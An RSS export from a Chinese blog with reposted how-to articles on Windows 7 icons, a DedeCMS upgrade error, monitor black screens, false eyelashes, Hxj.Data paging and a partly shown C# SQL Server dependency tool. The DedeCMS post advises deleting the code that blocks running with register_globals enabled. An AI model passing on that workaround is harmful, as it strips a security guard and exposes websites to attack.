<?xml version="1.0" encoding="UTF-8" ?>



<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">

<channel>
<title><![CDATA[isolated'职业博客]]> </title>
<description>
<![CDATA[]]>
</description>
<link>http://isolated.blog.bokee.net/</link>
<language>zh-cn</language>
<creator>isolated</creator>
<pubDate>Wed, 02 Dec 2009 11:20:39 CST </pubDate>
<generatorAgent rdf:resource="http://www.bokee.net"/>
<ttl>5</ttl>

<item>
<title>windows 7桌面图标不见了解决办法</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013613.html</link>
<description>
<![CDATA[<p><strong><a href="http://www.baoluowanxiang.com/a/computer/pc_trouble/2010/0410/329.html">windows 7桌面图标不见了</a></strong>解决办法【Windows 7技巧】Windows7桌面快捷方式图标不见了|win7桌面图标没了|win7桌面图标消失了的解决办法</p>
<p>恢复应用程序桌面快捷方式图标上的小箭头及恢复快捷方式&ldquo;锁定到任务栏&rdquo;功能</p>
<p>昨日有网友在包罗万象的留言板中问了这样一个问题：在用使Windows7操作系统后一段时间，发现自己的操作系统的有些应用序程序桌面快捷方式图标不见了，并且无法反重新装软件&ldquo;锁定到任务栏&rdquo;。这种问题就会出现这样一种情况，能操作却无效。像这种问题我们怎么办呢？</p>
<p>经过包罗万象的编辑测试一下，网友提到的问题可能是某些恶意软件修改注册表而引起的！即然找到了病根，那么就用我们流行第7代的方法来对症下药吧！</p>
<p>恶意软件可能是注册表中修改了\HKEY_CLASSES_ROOT\linkfile下的一个键IsShortcut</p>
<p>我们就在注册表中相应位置重新建立一个与此为名的&ldquo;字符串值&rdquo;，数据项为空即可。保存注册表后注销登录账号，以上功能就都恢复正常了。</p>
<p><br />
以上现象可能是安装某个软件（有点&ldquo;流氓&rdquo;）的结果，所以希望朋友不要装一些没经过安全认证的软件，以免你的IsShortcut注册表又被修改了！</p>
<p>谢谢大家！如有不对请多多指教</p>
<p>&nbsp;</p>
<p>本文转自 ☆★ 包罗万象 ★☆ - <a href="http://www.baoluowanxiang.com">www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/computer/pc_trouble/2010/0410/329.html">http://www.baoluowanxiang.com/a/computer/pc_trouble/2010/0410/329.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013613.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sat, 14 May 2011 17:58:30 CST </pubDate>
</item>

<item>
<title>DEDECMS php.ini register_globals must is Off!</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013611.html</link>
<description>
<![CDATA[<p>今天早上打开网站，登录后台提示我网站漏洞补丁升级。我一看是24日的，刚出的补丁，我就赶快升级，没想到的是当升级快完成的时候出现：<strong><a href="http://www.baoluowanxiang.com/a/website/cms/2010/0401/142.html">php.ini register_globals must is Off</a></strong>然后我就刷新了一下页面，后台无法登录了，只显示一个php.ini register_globals must is Off。</p>
<p>&nbsp;&nbsp; 前去官方论坛查看，发帖提问，才发现，今天的升级程序导致了好多网站都无法登录后台，也是现实php.ini register_globals must is Off。</p>
<p>&nbsp;&nbsp;&nbsp; 在大概11点左右，官方提出如何解决这种问题，是这样的：</p>
<p><br />
但是我删除之后网站还是无法登录后台，在反复试了几次之后才明白，需要删除的地方有两个，<br />
下面是正确解决办法：<br />
找到include文件夹下面的common.inc.php文件。<br />
第一要删除的是：10行开始到20行之间的<br />
&nbsp;</p>
<p>//开启register_globals会有诸多不安全可能性，因此强制要求关闭register_globals&nbsp;&nbsp;&nbsp; <br />
&nbsp;if ( ini_get('register_globals') )&nbsp;&nbsp;&nbsp; <br />
&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;exit('php.ini register_globals must is Off! ');&nbsp;&nbsp;&nbsp; <br />
&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;//禁止 session.auto_start&nbsp;&nbsp;&nbsp;&nbsp; <br />
if ( ini_get('session.auto_start') != 0 )&nbsp;&nbsp;&nbsp; <br />
&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
exit('php.ini session.auto_start must is 0 ! ');&nbsp;&nbsp; <br />
&nbsp; }&nbsp;&nbsp;&nbsp; <br />
第二要删除的是：大概是72行左右的</p>
<p>if (&nbsp;&nbsp;&nbsp; <br />
ini_get('register_globals') )&nbsp;&nbsp;&nbsp; <br />
&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
exit('php.ini register_globals must is Off! ');&nbsp;&nbsp;&nbsp; <br />
&nbsp;}&nbsp;&nbsp; <br />
然后再上传就可以了。</p>
<p>上面是针对虚拟主机的设置，如果你是自己服务器的还有一种办法。</p>
<p>如果是独立服务器的用户可以修改php配置文件中的php.ini,将register_globals=On改为register_globals=Off<br />
同时把session.auto_start=1改成session.auto_start=0,然后重启Apache.</p>
<p>如果还是不行请大家在此留言，我会尽量帮助大家解决。</p>
<p>&nbsp;</p>
<p>本文转自 ☆★ 包罗万象 ★☆ - <a href="http://www.baoluowanxiang.com">www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/website/cms/2010/0401/142.html">http://www.baoluowanxiang.com/a/website/cms/2010/0401/142.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013611.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sat, 14 May 2011 17:57:40 CST </pubDate>
</item>

<item>
<title>电脑开机显示器黑屏解决办法(来自:包罗万象网)</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013606.html</link>
<description>
<![CDATA[<p>　1.电脑主机故障引起的<strong><a href="http://www.baoluowanxiang.com/a/computer/pc_trouble/2010/0428/634.html">电脑显示器黑屏</a></strong>故障 　　（1）主机电源引起的故障 　　主机电源损坏或主机电源质量不佳引起的黑屏故障很常见。例如，当你添加了一些新设备之后，显示器便出现了黑屏故障，排除了配件质量及兼容性问题之后电源的质量不好动力不足是故障的主要起因，这时你也许还可听到机内喇叭连续报警12声，更换大功率质优电源是这类故障的最好解决办法。此外，有的主板上有AT/ATX双电源接口，其选择跳线设置不对也可引起这类故障。 　　（2）配件质量引起的故障 　　电脑配件质量不佳或损坏，是引起显示器黑屏故障的主要成因。例如主板（及主板的CMOS），内存，显示卡等等出现问题肯定可能引起黑屏故障的出现。其故障表现如显示器灯呈橘黄色，这时用替换法更换下显示卡，内存，甚至主板，CPU试试，是最快捷的解决办法　　（3）配件间的连接质量　　内存显卡等等与主板间的插接不正确或有松动造成接触不良是引发黑屏故障的主要原因。而且显示卡与显示器连接有问题也可能引发这类故障，直至AT电源插接不正确更有甚者如你的硬盘或光驱数据线接反也有可能引发启动黑屏故障。　　（4）超频引起的黑屏故障　　过度超频或给不适合于超频的部件进行超频不仅会造成黑屏故障的产生，严重时还会引起配件的损坏。还有就是过度超频或给不适合于超频的部件超频后散热不良或平常使用中散热风扇损坏根本就不转等等都会造成系统自我保护死机黑屏。　　（5）其它原因引起的黑屏　　其它如主板CMOS设置不正确及主板清除CMOS跳线不正确都可引起黑屏故障，这时你可对照主板说明更改其设置。此外软件冲突如驱动程序有问题安装不当，DIY不当如BIOS刷新出错，电源管理设置不正确，恶性病毒引起硬件损坏（如CIH）等等都有可能引起显示器黑屏故障的出现。大家在遇到这类故障时不妨多仔细想想多考虑一下故障的成因，做到解决故障知己知彼事半功倍。 　2.显示器自身故障引起的黑屏故障　　（1）交流电源功率不足　　外部电源功率不足，造成一些老显示器或一些耗电功率大的显示器不能正常启动，是显示器自身故障引起的黑屏故障原因之一。或者外部电源电压不稳定，过高过低都可能造成显示器不工作。 　　（2）电源开关电路损坏　　显示器开关电路出现故障是引起显示器黑屏故障的主要成因。简单的如电源开关损坏如内部短路，常见的如开关管损坏或其外围电路元器件出现损坏等等。 　　（3）行输出电路的损坏。　　行输出电路或显像管及其供电电路出现故障也是引起显示器黑屏故障的主要成因。特别是高压包的损坏在一些使用多年或品质较劣的杂牌显示器中造成无显示黑屏故障更为常见。　　3.显卡接触不良导致黑屏　　1．显示器&ldquo;黑屏&rdquo;且电源指示灯不亮 这类故障多为显示器本身故障。首先应检查显示器电源线是否接好，电源插头与220V交流插座是否接触良好，显示器电源开关是否打开。在确认220V交流电正确送人显示器内部后，可判定为显示器故障。 　　2．显示器&ldquo;黑屏&rdquo;且电源指示灯亮 这类故障现象定位较复杂，故障可能发生在显示器、显示卡、主板或信号电缆等部位。检测时首先调节亮度、对比度旋钮，观察屏幕有无明暗变化，排除把亮度、对比度关死而&ldquo;黑屏&rdquo;的现象。若调节亮度、对比度旋钮屏幕仍为&ldquo;黑屏&rdquo;，则应检查主机至显示器信号电缆是否插接完好，有无断头、断线故障；在确认信号电缆完好后，进行POST(POWER ON SELF TEST上电自检)检测。 POST检测是计算机在每次打开电源开关后，便自动开始执行POST诊断程序来检测计算机各系统部件正常与否的过程。检测中一发现问题就向操作者提供出错信息或一系列蜂鸣声。在显示器&ldquo; 黑屏&rdquo;这一故障中，POST检测的屏幕信息我们看不到，但可以通过一系列蜂鸣声来判断故障的部位。 　　3．一声长、二声或三声短蜂鸣声 这种信号(可能会重复)表明显示卡有问题，应关断主机电源，打开机箱，检查显示卡与扩展槽是否接触良好。如怀疑扩展槽问题，可以用插拔法更换显示卡所在扩展槽来排除。如故障仍未排除，可把显示卡换接到其它相匹配的微机上检查，若其它微机换卡后也为&ldquo;黑屏&rdquo;，则判断故障在显示卡上；若显示卡在其它微机上工作正常，则故障就在主板上。 <br />
&nbsp;</p>
<p>出自:http://www.baoluowanxiang.com/a/computer/pc_trouble/2010/0428/634.html</p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/8013606.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sat, 14 May 2011 17:57:03 CST </pubDate>
</item>

<item>
<title>假睫毛怎么贴，怎么贴假睫毛更好看？</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/7306790.html</link>
<description>
<![CDATA[<p>长长的睫毛让女人看起来迷人而多姿，让你那双忽闪的双眼看起来无辜而迷离。假睫毛已经逐渐走入到许多美女的日常生活中。有调查显示，男人对长睫毛的女人更为钟情，更容易让人产生怜香惜玉的感觉。戴假睫毛并非想象中那样简单，那么怎样戴假睫毛呢。</p>
<p>&nbsp;</p>
<p>　　不是每个女人天生都有又浓又密的睫毛，短小稀疏的睫毛是多数女人面对的，特别是当睫毛偶尔脱落时，你又会增加苦恼。想瞬间让眼睛变大变美，令初学者又爱又恨。听很多女孩子说，第一次戴假睫毛时，花费超长时间，最后眼睛周围都是睫毛胶水。外出时还要把睫毛胶水带着，总是害怕假睫毛掉下来，吓到别人。可是带了很多次后，就非常熟练了，只用几分钟就会利索地戴好，而且一天都不会掉下来。正确的方法和佩戴的技巧掌握好，只在短暂的时间内，就能带来惊艳效果。</p>
<p>　　被你忽略的重点<br />
　　有些步骤不提出来，你会一直不清楚，你不明白为什么别人买的假睫毛和胶水，都不如你的大品牌，但戴上后，她们的睫毛自然漂亮，你的睫毛，总是觉得很假。看看是不是你忽略了这些重点。<br />
　　重点一：没有衡量长度<br />
　　刚开始你曾做过这样的傻事，直接把一个长长的假睫毛粘在睫毛根部，根本没考虑自己的眼睛弧度和这款假睫毛是否相配。最后造成，前后两端过长，一整天都看着不舒服。所以要对着镜子，把假睫毛放到眼睛上方比一下长度，然后估测大概，再用小剪刀做前后两端修剪，一点点来，不要心急。剪出适合自己眼周的长度，戴起来会更自然。<br />
　　重点二：眼线先后顺序<br />
　　彩妆师给模特化妆时，都会先画好眼线，然后对准眼线的位置粘假睫毛，这样做真的能够贴到位了，不至于造成假睫毛与真睫毛分离脱轨。而很多女人忽略这一点，这就影响了假睫毛粘贴后的美观度了。及时改正，看看下一次采取正确的顺序，会不会给你一个惊喜！<br />
　　重点三：胶水的使用<br />
　　很多美女真是不知道胶水怎么用。在飞机上亲眼看到一MM，所带的假睫毛根部厚厚一层白色胶水。这是什么情况，不美反倒丑化。第一，胶水凝固后，是否变成透明色。如果你不是高手，就要备一只涂后变透明的胶水，这样就会避免类似尴尬的情形。第二，有MM向我抱怨，每次粘假睫毛，胶水都会粘到自己真的睫毛上。什么原因？在涂上假睫毛胶水时，不要马上粘，等胶水半干时，粘性最强，也不会粘到其他地方。你可在胶水处稍稍吹两口气，就差不多了。第三，胶水到底黏在哪里，是假睫毛上还是真睫毛的根部。比较把握的方法，假睫毛上涂薄薄一层，真睫毛根部三点重要点涂，就是眼角处、眼睛中部上方、眼尾处，三点粘稳固，假睫毛一天都不会掉下来。</p>
<p>　　睫毛的选择<br />
　　曾经问过很多一线彩妆师，对于假睫毛的选择最应该注意哪些方法，每个彩妆师对假睫毛的材质上重点强调，采用优质的天然毛发制造假睫毛，就像真睫毛一样。它们的底边细的几乎看不见，使用时似乎感觉不到它的存在，这是假睫毛的极致。<br />
　　NOTICE<br />
　　光泽度：色泽光亮、顺滑、不晦暗，是优质假睫毛的特点。<br />
　　软硬度：过硬的材质，会给眼皮带来很大压力，而且戴上去后，看起来很假，不自然。过软的假睫毛，又不够挺立，卷翘度也会逊色。最合适的是，手轻轻捏起来有柔软感，比你的真睫毛稍稍硬一点。<br />
　　弯翘度：好的假睫毛会自然上翘，与上眼睫毛的生长弧度相似，平直的假睫毛在戴起来会觉得生硬，也就没有美感了。<br />
　　实用性：如果想在派对上闪亮登场，选择夸张的假睫毛，像镶水钻、羽毛状、色彩艳丽等的睫毛。不过，朋友聚会，情侣约会，最好不要太戏剧化，那样会让人不适应。<br />
　　睫毛胶水：这是很重要的，见过一个30多岁的女人，其实很美，但是她一直购买廉价的假睫毛胶水，现在她的睫毛根部的肌肤严重受损，经常有炎症。所以一定要买大品牌的胶水，而且并不是贵的吓人，100元以内，绝对选到品质非常好的睫毛胶水。<br />
　　Tips：<br />
　　1.在一些妆容中也可以将较细的假睫毛重叠覆盖使用。<br />
　　2.在使用假睫毛前先在自己的睫毛上刷一层睫毛膏，这样可以和假睫毛混合在一起，达到自然的效果。<br />
　　3.要卸除假睫毛，提起假睫毛底边外侧轻柔的将它拉下。然后进行清洁：用手指清洁假睫毛底边上的胶水。<br />
　　4.要延长假睫毛的使用寿命，每次使用后应彻底清洁它们，可用酒精棉球卸除假睫毛底边的剩余胶水。</p>
<p><br />
本文由<a href="http://www.olele.cn">www.olele.cn</a> 欧了了整理 <a href="http://www.olele.cn">化妆品团购</a> <a href="http://www.olele.cn">护肤品团购</a> <a href="http://www.olele.cn">女性化妆品团购</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/7306790.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Tue, 22 Feb 2011 14:53:58 CST </pubDate>
</item>

<item>
<title>数据库组件 Hxj.Data</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6794729.html</link>
<description>
<![CDATA[<p>分页在前面好几节中的列子中已经出现，现在在详细讲解一下。</p>
<p>有三种方法去实现：</p>
<p>1、Top(int topCount) 方法</p>
<p>在<a href="http://www.baoluowanxiang.com/a/shujuku/sql/">sql</a>server和msaccess中其实就是top , 在<a href="http://www.baoluowanxiang.com/a/shujuku/oracle/">Oracle</a>通过rownum实现。</p>
<p>&nbsp;</p>
<p>2、From(int startIndex, int endIndex)</p>
<p>从startIndex条到endIndex条之间的记录数。</p>
<p>&nbsp;</p>
<p>3、Page(int pageSize, int pageIndex)</p>
<p>每页pageSize条，第pageIndex页</p>
<p>&nbsp;</p>
<p>下面就依次对这三个方法举例说明。</p>
<p>&nbsp;</p>
<p>top方法：</p>
<p>Dbsession.Default.From&lt;PRoducts&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Top(10)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();该查询时查询products表中的前10条记录，生成的sql语句如下：(如何输出查看组件生成的sql)</p>
<p>Text: SELECT TOP 10 * FROM [Products]</p>
<p>from方法：<br />
DbSession.Default.From&lt;Products&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .From(3, 8)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();查找第3条到第8条的数据（包括第3条和第8条），生成的sql语句如下：</p>
<p>Text: SELECT * FROM ( SELECT TOP 6 * FROM ( SELECT TOP 8 * FROM [Products] ORDER BY [Products].[ProductID] ASC) AS tempIntable ORDER BY [ProductID] DESC) AS tempOuttable ORDER BY [ProductID] ASC</p>
<p>page方法：<br />
DbSession.Default.From&lt;Products&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Page(10, 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();查询每页10条的第2页数据，sql语句如下：<br />
Text: SELECT * FROM ( SELECT TOP 10 * FROM ( SELECT TOP 20 * FROM [Products] ORDER BY [Products].[ProductID] ASC) AS tempIntable ORDER BY [ProductID] DESC) AS tempOuttable ORDER BY [ProductID] ASC</p>
<p>可以看出from方法和page方法生成的sql语句是格式是一样的，其实page方法最终还是调用from方法，<br />
如果from的startIndex参数等于1就会调用top方法来查询。</p>
<p>默认情况下我们并没有设置排序，组件则会自动添加一个排序，如果有主键则选主键排序，不然选一个其他列排序。</p>
<p>当然在很多情况下我们是需要设置哪些列排序的。<br />
例如：<br />
DbSession.Default.From&lt;Products&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Page(10, 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .OrderBy(Products._.UnitPrice.Desc)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Where(Products._.CategoryID == 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();查询条件是categoryid等于2，按照unitprice倒叙排序，每页10条的第2页数据。<br />
生成的sql如下：<br />
Text: SELECT * FROM ( SELECT TOP 2 * FROM [Products] WHERE [Products].[CategoryID] = @bee7551993404c8592f07f9b01710bb5 ORDER BY [Products].[UnitPrice] ASC) AS temp_table ORDER BY [UnitPrice] DESC Parameters: @bee7551993404c8592f07f9b01710bb5[Int32] = 2 这样的sql语句是不是出乎意料啊，原来符合条件的查询第二页只有2条数据，所以查询的时候就直接unitprice正序top 2就完结了。</p>
<p>我们把条件去掉再看看：<br />
DbSession.Default.From&lt;Products&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Page(10, 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .OrderBy(Products._.UnitPrice.Desc)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //.Where(Products._.CategoryID == 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();生成的sql如下：<br />
Text: SELECT * FROM ( SELECT TOP 10 * FROM ( SELECT TOP 20 * FROM [Products] ORDER BY [Products].[UnitPrice] DESC) AS tempIntable ORDER BY [UnitPrice] ASC) AS tempOuttable ORDER BY [UnitPrice] DESC 这样算是正常的生成格式了。</p>
<p>以上的sql脚本都是在sql server2000下生成的。</p>
<p>其实在查询过程中组建还会自动查询了count()符合条件的记录数，所以在大数据的情况下，效率不会很好。</p>
<p>如果你设置组建的数据库是sql server2005则不会去查询 count，而是直接通过row_number()来查询，来获得更好的效率。(oracle则是rownum实现)</p>
<p>下面来sql server2005例子：<br />
DbSession.Default.From&lt;Products&gt;()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Page(10, 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .OrderBy(Products._.UnitPrice.Desc)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //.Where(Products._.CategoryID == 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ToList();代码还是上面的例子的,生成的sql：<br />
Text: SELECT * FROM ( SELECT *,row_number() over( ORDER BY [Products].[UnitPrice] DESC) AS tmp__rowid FROM [Products] ) AS tmp_table WHERE (tmp__rowid BETWEEN 11 AND 20) 方法的调用还是一样的，所以如果from的参数startIndex等于1,还是优先使用top,并没有使用row_numer()。</p>
<p><br />
当然你觉得分页还不够理想，可以自己写sql或者存储过程。 <br />
&nbsp;</p>
<p>&nbsp;</p>
<p>本文转自 ☆★<a href="http://www.baoluowanxiang.com"><strong>包罗万象</strong></a>网 ★☆ - <a href="http://www.baoluowanxiang.com">http://www.baoluowanxiang.com</a> 转载请注明出处，侵权必究！<br />
原文链接：<a href="http://www.baoluowanxiang.com/a/shujuku/sql/2010/0805/1305.html">http://www.baoluowanxiang.com/a/shujuku/sql/2010/0805/1305.html</a></p>]]>
</description>
<guid isPermaLink="false">http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6794729.html</guid>
<subject></subject>
<author>isolated</author>
<category></category>
<pubDate>Sun, 12 Dec 2010 10:36:30 CST </pubDate>
</item>

<item>
<title>自动输出SQL Server对象依赖列表到EXCEL文件</title>
<link>http://www.bokee.net/blogmodule/weblogcomment_viewEntry/6794703.html</link>
<description>
<![CDATA[<p>前言<br />
类似的软件很多年前写过，不过现在在新国家，新环境，印度佬（我囧）资深系统分析员要求我：给现有的数据库的所有存储过程分别列举所有依赖的对象。</p>
<p>&nbsp;</p>
<p>需求<br />
现在数据库很老很大，表不多，200来个，但数据量很大：最大的数据表2亿6千万条，每天增加50多w，925个存储过程。</p>
<p>&nbsp;</p>
<p>系统大，耦合度很高，牵一发而动全身。人员变动频繁，接手的人员要在修改之前，就得花相当长的时间来分析关联性。</p>
<p>&nbsp;</p>
<p>所以，印度资深系统分析员要求我在一个Excel文件中，把925个存储过程的所有依赖的对象（表、函数、视图、存储过程等等）都列举出来。</p>
<p>&nbsp;</p>
<p>分析<br />
手工逐个打开存储过程去做，对写软件的人来说是很傻的事情，一般重复性工作，如果预计耗时超过3分钟，我就会卷起袖子写个代码。</p>
<p>&nbsp;</p>
<p>工作内容有3部分：</p>
<p>1.获取所有的存储过程。我们可以用sysobjects这个系统表，它存储了所有的表、存储过程、视图、函数等。其中存储过程的xtype是P，CLR存储过程，类型是PC；函数的类型是FN/IF或TF，CLR函数类型是FS；视图类型是V；表类型是U。</p>
<p>&nbsp;</p>
<p>2. 获取某存储过程所依赖的对象，当然是先google了。很久之前我就知道可以用系统存储过程sp_depends来获取，不过还是应该看看还有什么更好的办法。首先我发现这个：http://www.mssqltips.com/tip.asp?tip=1294 。作者研究出4种办法：INFORMATION_SCHEMA.ROUTINES/sp_depends/syscomments/sp_MSdependencies。其中就有我一直在用的sp_depends。其它办法有的霸王硬上弓：用charindex来遍历存储过程内容，或者用LIKE来判断。。。。。我服了，写代码的风格千差万别，一些是[Foo]，一些是Foo，而且不同的存储过程名称可能存在完全给另外一个包含，譬如Foo Foo1 AFoo等。</p>
<p>&nbsp;</p>
<p>看完之后，我还是觉得使用sp_depends相对靠谱。为什么说&ldquo;相对靠谱&rdquo;呢？因为我发现它某些情况下也会没有返回所有依赖的，这应该是<a href="http://www.baoluowanxiang.com/a/shujuku/sql/">SQL</a> Server的bug吧？如果要把所有依赖都找回来，你可以去修改被遗忘的引用存储过程，随便加个空行，运行（就是保存结果），你会发现之前没有显示的依赖终于出现了。而且，sp_depends会输出重复的记录。。。所以我们在代码中要剔除掉。</p>
<p>&nbsp;</p>
<p>3. 既然是输出到EXCEL文件，我们就需要找相应的代码。在这个网站已经有很多EXCEL文件生成的代码了，譬如NPOI。我最后采用了GemBox的，因为够轻便。本来想用更轻便的MyXLS，但发现它不支持单背景色。当然你也可以用别的，譬如xml格式的EXCEL文件，这是你个人的选择了。</p>
<p>&nbsp;</p>
<p>解决了上述的3个问题，我们就可以大干一场了。我用VS2005+C#2.0，因为公司还是在用古老的XP搭配VS2005，鬼佬国家要求什么都正版，自然不会像我们在中国那样随便就升级到2010了。所以只能放弃LINQ，老老实实地写老派的代码了。</p>
<p>&nbsp;</p>
<p>以下代码没有什么特别的，都是循环所有存储过程，然后循环每个存储过程的依赖对象，然后排序输出（先按照类型，然后按照名称）。本来想用DataTable.Select对多个字段排序，但后来发现没效果，也没心思去研究为什么，干脆就改成写一个IComparer。</p>
<p>&nbsp;</p>
<p>代码写得很quick and dirty，10来分钟的事情，不要跟代码规范较真。</p>
<p>&nbsp;</p>
<p>代码（让你容易找点。。。）<br />
&nbsp;</p>
<p>&nbsp;</p>
<p>代码 <br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.IO;<br />
using System.Drawing;<br />
using System.Data;<br />
using System.Data.SqlClient;<br />
using GemBox.SPReadsheet;</p>
<p>namespace SQLServerDocumenter<br />
{<br />
&nbsp;&nbsp;&nbsp; class Program<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static void Main(string[] args)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (args.Length == 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args = new string[4];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args[0] = &quot;database&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args[1] = &quot;datasource&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args[2] = &quot;user&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args[3] = &quot;passWord&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string db = args[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string dataSource = args.Length &gt; 1 ? args[1] : string.Empty;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string user = args.Length &gt; 2 ? args[2] : string.Empty;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string password = args.Length &gt; 3 ? args[3] : string.Empty;</p>
